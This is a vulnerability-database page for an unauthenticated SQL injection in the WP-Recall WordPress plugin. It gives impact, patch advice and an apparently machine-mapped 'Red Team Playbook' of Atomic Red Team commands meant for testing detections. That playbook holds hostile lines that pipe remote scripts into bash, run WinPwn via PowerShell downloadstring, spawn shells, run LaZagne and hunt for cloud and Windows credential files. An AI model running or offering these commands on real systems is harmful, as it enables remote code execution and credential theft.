CVE-2024-32709
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements in SQL commands within the WP-Recall WordPress plugin. The root cause is insufficient escaping and lack of prepared statements on user-supplied input parameters, specifically affecting the query construction in the account management feature. This flaw allows manipulation of SQL queries through crafted input in HTTP GET parameters without validation or sanitization.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Plechev Andrey WP-Recall.This issue affects WP-Recall: from n/a through 16.26.5.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database, enabling extraction of sensitive information such as database schema details and potentially user data. No authentication or user interaction is required for exploitation. This can lead to data breaches and compromise of the integrity and confidentiality of the affected system's data, impacting business operations and user privacy.
Solution
Users should upgrade the WP-Recall plugin to a version later than 16.26.5 where this vulnerability is addressed. The vendor advisory available at Patchstack provides detailed patch instructions and version updates. Applying the official patch or updating to the fixed release is the recommended remediation to prevent exploitation of this SQL injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability characterized by improper neutralization of special elements used in SQL commands, commonly known as SQL injection, presents a significant risk to the WP-Recall plugin developed by Plechev Andrey. This flaw arises when user inputs are not adequately sanitized before being incorporated into SQL queries. Attackers can exploit this weakness by injecting malicious SQL code into input fields, which the application then executes against the database. The lack of proper input validation allows attackers to manipulate queries, potentially leading to unauthorized data access, modification, or even deletion. This vulnerability is particularly concerning given its high CVSS score of 9.3, indicating a critical severity level that warrants immediate attention.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving web forms or URL parameters where user input is processed. An attacker could craft a specially formatted input that alters the intended SQL command, allowing them to retrieve sensitive information such as user credentials, personal data, or proprietary business information. For instance, an attacker might input a string that includes SQL commands to bypass authentication mechanisms or extract data from tables that should be restricted. Furthermore, if the application is poorly designed, attackers could escalate their access privileges, leading to a broader compromise of the underlying system.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on the WP-Recall plugin for their WordPress sites. Successful exploitation could result in data breaches, loss of customer trust, and significant financial repercussions. Businesses may face regulatory penalties if sensitive personal data is exposed, especially in jurisdictions with stringent data protection laws. Additionally, the reputational damage from a publicized breach can lead to long-term consequences, including decreased customer loyalty and potential loss of business. The risk is further amplified for organizations that store sensitive data, as the exposure of such information can have cascading effects on their operations and stakeholder relationships.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the application. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic before it reaches the application. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user inputs are properly sanitized. Regular updates and patches to the WP-Recall plugin and the underlying WordPress platform are also crucial in minimizing exposure to known vulnerabilities.
In conclusion, the SQL injection vulnerability in the WP-Recall plugin poses a significant threat to organizations utilizing this software. The potential for data compromise, financial loss, and reputational damage underscores the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can safeguard their applications against such vulnerabilities and protect their sensitive data from malicious actors. Continuous education and awareness of secure coding practices among developers will further enhance the resilience of applications against SQL injection attacks, ultimately contributing to a more secure digital landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32709 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/wp-recall/wordpress-wp-recall-plugin-16-26-5-sql-injection-vulnerability?_s_id=cve |